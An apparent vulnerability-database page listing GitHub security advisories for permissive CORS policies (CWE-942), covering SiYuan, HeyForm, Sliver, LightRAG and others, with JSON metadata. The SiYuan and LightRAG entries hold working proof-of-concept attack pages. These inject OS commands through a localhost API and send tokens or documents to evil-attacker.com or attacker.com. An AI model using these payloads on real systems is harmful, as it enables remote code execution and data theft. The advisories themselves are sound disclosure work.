GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-942

Allowed

Permissive Cross-domain Security Policy with Untrusted Domains

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.

212 vulnerabilities reference this CWE, most recent first.

GHSA-62GP-CQPW-RGH4

Vulnerability from github – Published: 2024-11-11 21:31 – Updated: 2024-11-11 21:31
VLAI
Details

In Gliffy Online an insecure configuration was discovered in versions before 4.14.0-6

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-10315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-11T20:15:17Z",
    "severity": "MODERATE"
  },
  "details": "In Gliffy Online an insecure configuration was discovered in versions before 4.14.0-6",
  "id": "GHSA-62gp-cqpw-rgh4",
  "modified": "2024-11-11T21:31:48Z",
  "published": "2024-11-11T21:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10315"
    },
    {
      "type": "WEB",
      "url": "https://portal.perforce.com/s/detail/a91PA000001SZVJYA4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-68P4-J234-43MV

Vulnerability from github – Published: 2026-03-31 23:29 – Updated: 2026-04-06 16:40
VLAI
Summary
SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection
Details

Summary

A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (Access-Control-Allow-Origin: * + Access-Control-Allow-Private-Network: true) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.

Details

Vulnerable files: - kernel/server/serve.go, lines 960-963 — CORS middleware - kernel/api/snippet.go, lines 93-128 — snippet injection endpoint

Root cause: The CORS middleware unconditionally sets:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true

The Access-Control-Allow-Private-Network: true header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with Access-Control-Allow-Origin: *, any website on the internet can make authenticated cross-origin requests to the SiYuan API at 127.0.0.1:6806.

The auth middleware at kernel/model/session.go:251-280 checks the Origin header, but this check is bypassed because the browser sends the session cookie (set on 127.0.0.1) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.

Attack chain: 1. User visits https://evil-attacker.com while SiYuan desktop is running 2. Malicious JS sends CORS preflight to http://127.0.0.1:6806 — SiYuan responds with permissive CORS headers 3. Browser sends actual POST to /api/snippet/setSnippet with the user's session cookie 4. SiYuan accepts the request and saves a malicious JS snippet 5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution

PoC

Malicious webpage (hosted on any domain):

<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    snippets: [{
      id: 'exploit-' + Date.now(),
      name: 'system-update',
      type: 'js',
      content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
      enabled: true
    }]
  })
}).then(r => r.json()).then(d => {
  console.log('Snippet injected:', d);
});

// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
  // Send API token and config to attacker server
  fetch('https://evil-attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(d.data)
  });
});
</script>
</body>
</html>

Verification steps:

  1. Start SiYuan desktop (or Docker with SIYUAN_ACCESS_AUTH_CODE set)
  2. Login to SiYuan in a browser to establish a session cookie
  3. In the same browser, navigate to the malicious page
  4. Verify snippet was injected:
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
  -H "Content-Type: application/json" \
  -b <session-cookie> \
  -d '{"type":"all","enabled":2}'

Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from Origin: https://evil-attacker.com, and the API token is exfiltrated — all in a single page load.

Impact

  • Remote Code Execution: Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.
  • Data exfiltration: The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.
  • No user interaction beyond browsing: The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.
  • Affects all desktop users: SiYuan desktop runs on 127.0.0.1:6806 by default. The Access-Control-Allow-Private-Network: true header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack.
  • Persistence: The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.
Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:29:00Z",
    "nvd_published_at": "2026-03-31T22:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron\u0027s Node.js context with full OS access the next time the user opens SiYuan\u0027s UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.\n\n### Details\n\n**Vulnerable files:**\n- `kernel/server/serve.go`, lines 960-963 \u2014 CORS middleware\n- `kernel/api/snippet.go`, lines 93-128 \u2014 snippet injection endpoint\n\n**Root cause:** The CORS middleware unconditionally sets:\n```\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Private-Network: true\n```\n\nThe `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome\u0027s Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.\n\nThe auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.\n\n**Attack chain:**\n1. User visits `https://evil-attacker.com` while SiYuan desktop is running\n2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` \u2014 SiYuan responds with permissive CORS headers\n3. Browser sends actual POST to `/api/snippet/setSnippet` with the user\u0027s session cookie\n4. SiYuan accepts the request and saves a malicious JS snippet\n5. The snippet executes in Electron\u0027s renderer process with Node.js integration, achieving arbitrary code execution\n\n### PoC\n\n**Malicious webpage (hosted on any domain):**\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ch1\u003eInnocent looking page\u003c/h1\u003e\n\u003cscript\u003e\n// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js\nfetch(\u0027http://127.0.0.1:6806/api/snippet/setSnippet\u0027, {\n  method: \u0027POST\u0027,\n  credentials: \u0027include\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027},\n  body: JSON.stringify({\n    snippets: [{\n      id: \u0027exploit-\u0027 + Date.now(),\n      name: \u0027system-update\u0027,\n      type: \u0027js\u0027,\n      content: \u0027require(\"child_process\").exec(\"id \u003e /tmp/siyuan-rce-proof\")\u0027,\n      enabled: true\n    }]\n  })\n}).then(r =\u003e r.json()).then(d =\u003e {\n  console.log(\u0027Snippet injected:\u0027, d);\n});\n\n// Step 2 (optional): Exfiltrate API token and all notes\nfetch(\u0027http://127.0.0.1:6806/api/system/getConf\u0027, {\n  method: \u0027POST\u0027,\n  credentials: \u0027include\u0027,\n  headers: {\u0027Content-Type\u0027: \u0027application/json\u0027}\n}).then(r =\u003e r.json()).then(d =\u003e {\n  // Send API token and config to attacker server\n  fetch(\u0027https://evil-attacker.com/collect\u0027, {\n    method: \u0027POST\u0027,\n    body: JSON.stringify(d.data)\n  });\n});\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Verification steps:**\n\n1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set)\n2. Login to SiYuan in a browser to establish a session cookie\n3. In the same browser, navigate to the malicious page\n4. Verify snippet was injected:\n```bash\ncurl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \\\n  -H \"Content-Type: application/json\" \\\n  -b \u003csession-cookie\u003e \\\n  -d \u0027{\"type\":\"all\",\"enabled\":2}\u0027\n```\n\n**Tested and confirmed on SiYuan v3.6.1 (Docker).** The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated \u2014 all in a single page load.\n\n### Impact\n\n- **Remote Code Execution:** Any website can execute arbitrary OS commands on the user\u0027s machine via Electron\u0027s Node.js integration. The attacker gains full control with the user\u0027s privileges.\n- **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.\n- **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.\n- **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome\u0027s Private Network Access protection that would otherwise block this attack.\n- **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.",
  "id": "GHSA-68p4-j234-43mv",
  "modified": "2026-04-06T16:40:06Z",
  "published": "2026-03-31T23:29:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34449"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/issues/17246"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection"
}

GHSA-69G7-VM8M-997R

Vulnerability from github – Published: 2026-08-28 21:31 – Updated: 2026-08-28 21:31
VLAI
Details

HeyForm before 3.0.0-rc.8 reflects the request Origin header in CORS responses while allowing credentials, enabling cross-origin requests with authentication. Attackers can execute authenticated GraphQL queries from malicious pages visited by logged-in users to access workspaces, projects, forms, submissions, and respondent data, or modify account settings.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-82291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-28T20:20:20Z",
    "severity": "HIGH"
  },
  "details": "HeyForm before 3.0.0-rc.8 reflects the request Origin header in CORS responses while allowing credentials, enabling cross-origin requests with authentication. Attackers can execute authenticated GraphQL queries from malicious pages visited by logged-in users to access workspaces, projects, forms, submissions, and respondent data, or modify account settings.",
  "id": "GHSA-69g7-vm8m-997r",
  "modified": "2026-08-28T21:31:28Z",
  "published": "2026-08-28T21:31:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/heyform/heyform/security/advisories/GHSA-fg7j-rmgr-rc9g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-82291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/heyform/heyform/commit/bf9d738ca70ae5641c0c7372982b00365c5144d4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/heyform/heyform"
    },
    {
      "type": "WEB",
      "url": "https://github.com/heyform/heyform/blob/v3.0.0-rc.7/packages/server/src/main.ts"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/heyform-reflects-any-origin-in-cors-responses-while-allowing-credentials"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6FPF-248C-M7WM

Vulnerability from github – Published: 2026-03-31 23:07 – Updated: 2026-03-31 23:07
VLAI
Summary
Sliver One-Click Remote Access: Insecure CORS & Unauthenticated MCP Interface
Details

A single click on a malicious link gives an unauthenticated attacker immediate, silent control over every active C2 session or beacon, capable of exfiltrating all collected target data (e.g. SSH keys, ntds.dit) or destroying the entire compromised infrastructure, entirely through the operator's own browser.

Description

The Sliver MCP server runs inside the Sliver Client and binds an unauthenticated HTTP and SSE interface to localhost:8080 by default. The service returns a permissive Access-Control-Allow-Origin: * header on all responses.

Because this server is client-side, the attack surface is distributed across every individual operator in the operation. Any arbitrary website can issue cross-origin requests and interact with the MCP interface via an operator's browser, no credentials required.

If the interface is misconfigured to bind to all interfaces (0.0.0.0), the vulnerability escalates from a client-side CSRF/CORS issue to direct, unauthenticated remote access from any actor on the network.

Exposed Methods

Exploitation grants unauthorized access to the following MCP tools: - list_sessions_and_beacons - fs_ls, fs_pwd, fs_cd - fs_cat - fs_rm, fs_mv, fs_cp, fs_mkdir - fs_chmod, fs_chown

PoC

  1. Start the Sliver client with MCP enabled (default localhost:8080)
  2. Open a browser and load a page containing the Proof of Concept JavaScript.
  3. Observe that the page successfully lists sessions and can issue filesystem commands against live implants, with no authentication

Impact Assessment

Successful exploitation results in total operational compromise. - Direct Infrastructure Exposure: If misconfigured to 0.0.0.0, the C2 framework becomes fully accessible to any actor on the network or internet without requiring operator interaction. - Information Leakage: Complete visibility into active sessions, deployed beacons, and file system structures (list_sessions_and_beacons, fs_ls, fs_pwd). - Arbitrary File Read: Covert exfiltration of any target data (e.g., SSH keys, ntds.dit) through the C2 channel (fs_cat). - Integrity & Availability Loss: Arbitrary deletion or modification of files on compromised targets, leading to potential sabotage or denial of service (fs_rm, fs_mv, fs_cp).

Severity: Critical

Attack Scenarios

Scenario 1: Data Exfiltration via Drive-by Execution (Default Localhost) An operator clicks a link to a benign-looking site hosting malicious JavaScript (e.g. via open redirect). The script executes commands against localhost:8080, retrieves the operator's target list, and silently downloads sensitive files (e.g., a target's ntds.dit) using the operator's existing C2 connections.

Scenario 2: Campaign Neutralization (Default Localhost) A malicious site lures an operator to a controlled domain. Embedded JavaScript immediately issues fs_rm commands across all active implants, mass-deleting beacons and permanently severing operator access to the target network in a single click.

Scenario 3: Direct Takeover (0.0.0.0 Misconfiguration) An operator configures the MCP interface to listen on 0.0.0.0 for team access. An external attacker scans the network, discovers the exposed port, and directly issues unauthenticated API calls to hijack active sessions, drop connections, or exfiltrate data.

Technical Root Cause

The vulnerability stems from an insecure integration with the mcp-go library. While the library hardcodes permissive CORS (Access-Control-Allow-Origin: *), it also fails to validate the Content-Type header. This allows an attacker to use Simple Requests (e.g., text/plain) to bypass the browser's CORS preflight (OPTIONS) check entirely, making the attack highly reliable across all modern browsers without any additional techniques.

Furthermore, the Sliver implementation fails to implement any authentication middleware or origin restrictions to protect the sensitive RPC interface, meaning even if the CORS behavior were corrected upstream in mcp-go, the endpoint would remain fully unauthenticated.

## Demo

https://github.com/user-attachments/assets/b18216c2-2c0b-41a2-aa39-229b3f148c24

Severity
5.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/bishopfox/sliver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34227"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:07:48Z",
    "nvd_published_at": "2026-03-31T16:16:32Z",
    "severity": "MODERATE"
  },
  "details": "A single click on a malicious link gives an unauthenticated attacker immediate, silent control over every active C2 session or beacon, capable of exfiltrating all collected target data (e.g. SSH keys, `ntds.dit`) or destroying the entire compromised infrastructure, entirely through the operator\u0027s own browser.\n\n## Description\nThe Sliver MCP server runs inside the Sliver Client and binds an unauthenticated HTTP and SSE interface to `localhost:8080` by default. The service returns a permissive `Access-Control-Allow-Origin: *` header on all responses.\n\nBecause this server is client-side, the attack surface is distributed across every individual operator in the operation. Any arbitrary website can issue cross-origin requests and interact with the MCP interface via an operator\u0027s browser, no credentials required.\n\nIf the interface is misconfigured to bind to all interfaces (`0.0.0.0`), the vulnerability escalates from a client-side CSRF/CORS issue to direct, unauthenticated remote access from any actor on the network.\n\n\n## Exposed Methods\nExploitation grants unauthorized access to the following MCP tools:\n- `list_sessions_and_beacons`\n- `fs_ls`, `fs_pwd`, `fs_cd`\n- `fs_cat`\n- `fs_rm`, `fs_mv`, `fs_cp`, `fs_mkdir`\n- `fs_chmod`, `fs_chown`\n\n## PoC \n1. Start the Sliver client with MCP enabled (default `localhost:8080`)\n2. Open a browser and load a page containing the [Proof of Concept JavaScript](https://github.com/skoveit/CVE-2026-34227).\n3. Observe that the page successfully lists sessions and can issue filesystem commands against live implants, with no authentication\n\n## Impact Assessment\nSuccessful exploitation results in total operational compromise.\n- **Direct Infrastructure Exposure:** If misconfigured to `0.0.0.0`, the C2 framework becomes fully accessible to any actor on the network or internet without requiring operator interaction.\n- **Information Leakage:** Complete visibility into active sessions, deployed beacons, and file system structures (`list_sessions_and_beacons`, `fs_ls`, `fs_pwd`).\n- **Arbitrary File Read:** Covert exfiltration of any target data (e.g., SSH keys, `ntds.dit`) through the C2 channel (`fs_cat`).\n- **Integrity \u0026 Availability Loss:** Arbitrary deletion or modification of files on compromised targets, leading to potential sabotage or denial of service (`fs_rm`, `fs_mv`, `fs_cp`).\n\n**Severity: Critical**\n\n\n\n## Attack Scenarios\n**Scenario 1: Data Exfiltration via Drive-by Execution (Default Localhost)** An operator clicks a link to a benign-looking site hosting malicious JavaScript (e.g. via open redirect). The script executes commands against `localhost:8080`, retrieves the operator\u0027s target list, and silently downloads sensitive files (e.g., a target\u0027s `ntds.dit`) using the operator\u0027s existing C2 connections.\n\n **Scenario 2: Campaign Neutralization (Default Localhost)** A malicious site lures an operator to a controlled domain. Embedded JavaScript immediately issues `fs_rm` commands across all active implants, mass-deleting beacons and permanently severing operator access to the target network in a single click.\n\n **Scenario 3: Direct Takeover (0.0.0.0 Misconfiguration)** An operator configures the MCP interface to listen on `0.0.0.0` for team access. An external attacker scans the network, discovers the exposed port, and directly issues unauthenticated API calls to hijack active sessions, drop connections, or exfiltrate data.\n \n \n## Technical Root Cause\nThe vulnerability stems from an insecure integration with the `mcp-go` library. While the library hardcodes permissive CORS (`Access-Control-Allow-Origin: *`), it also fails to validate the `Content-Type` header. This allows an attacker to use Simple Requests (e.g., `text/plain`) to bypass the browser\u0027s CORS preflight (`OPTIONS`) check entirely, making the attack highly reliable across all modern browsers without any additional techniques.\n\nFurthermore, the Sliver implementation fails to implement any authentication middleware or origin restrictions to protect the sensitive RPC interface, meaning even if the CORS behavior were corrected upstream in `mcp-go`, the endpoint would remain fully unauthenticated.\n\n\n---\n\n ## Demo\n \nhttps://github.com/user-attachments/assets/b18216c2-2c0b-41a2-aa39-229b3f148c24",
  "id": "GHSA-6fpf-248c-m7wm",
  "modified": "2026-03-31T23:07:48Z",
  "published": "2026-03-31T23:07:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/BishopFox/sliver/security/advisories/GHSA-6fpf-248c-m7wm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34227"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/BishopFox/sliver"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Sliver One-Click Remote Access: Insecure CORS \u0026 Unauthenticated MCP Interface"
}

GHSA-6J5P-P5GV-2C73

Vulnerability from github – Published: 2024-11-14 12:31 – Updated: 2024-11-14 12:31
VLAI
Details

IBM Security ReaQta 3.12 is vulnerable to cross-site scripting. This vulnerability allows a privileged user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-45642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-14T12:15:18Z",
    "severity": "MODERATE"
  },
  "details": "IBM Security ReaQta 3.12 is vulnerable to cross-site scripting. This vulnerability allows a privileged user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.",
  "id": "GHSA-6j5p-p5gv-2c73",
  "modified": "2024-11-14T12:31:03Z",
  "published": "2024-11-14T12:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45642"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7172212"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6X6H-QQR7-855W

Vulnerability from github – Published: 2026-07-20 21:45 – Updated: 2026-07-20 21:45
VLAI
Summary
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
Details

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:45:25Z",
    "nvd_published_at": "2026-07-15T15:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette\u0027s CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.\n\n### Details\n\n```python\n# lightrag/api/config.py:639\nargs.cors_origins = get_env_value(\"CORS_ORIGINS\", \"*\")  # default wildcard\n\n# lightrag/api/lightrag_server.py:1379\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],       # any origin\n    allow_credentials=True,   # credentials \u2014 PROBLEM with wildcard\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n# Starlette CORSMiddleware (confirmed in source):\n# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials\n# = not True or True = True  \u2192 echoes the requesting origin back, not \"*\"\n# Result: every origin receives Access-Control-Allow-Credentials: true\n```\n\n### PoC\n\nHost on any origin. Open in browser where user is logged in to LightRAG:\n\n```html\n\u003c!-- attacker.com/steal.html --\u003e\n\u003cscript\u003e\nconst TARGET = \"http://lightrag-server:9621\";\n(async () =\u003e {\n  // Get victim token (or re-use existing session)\n  const r1 = await fetch(`${TARGET}/login`, {\n    method: \"POST\", credentials: \"include\",\n    headers: {\"Content-Type\": \"application/x-www-form-urlencoded\"},\n    body: \"username=victim\u0026password=known_pass\"\n  });\n  const { access_token } = await r1.json();\n\n  // Exfiltrate all documents\n  const docs = await (await fetch(`${TARGET}/documents`, {\n    credentials: \"include\",\n    headers: { Authorization: `Bearer ${access_token}` }\n  })).json();\n  console.log(\"STOLEN DOCS:\", docs);\n})();\n\u003c/script\u003e\n```\n\n### Impact\nPermissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.",
  "id": "GHSA-6x6h-qqr7-855w",
  "modified": "2026-07-20T21:45:25Z",
  "published": "2026-07-20T21:45:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-6x6h-qqr7-855w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61736"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3317"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/09567a4c983f580050db63569dd477122c058c3d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/df68d75f9dc29dd340ffb6794b48f48c4fdc9a2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/ebba6548639c0f2e8919100eff76b401f1222252"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests"
}

GHSA-7HQV-M3MR-CV2V

Vulnerability from github – Published: 2025-04-17 15:32 – Updated: 2025-04-21 21:30
VLAI
Details

Omnissa UAG contains a Cross-Origin Resource Sharing (CORS) bypass vulnerability. A malicious actor with network access to UAG may be able to bypass administrator-configured CORS restrictions to gain access to sensitive networks.

Severity
7.1 (High)
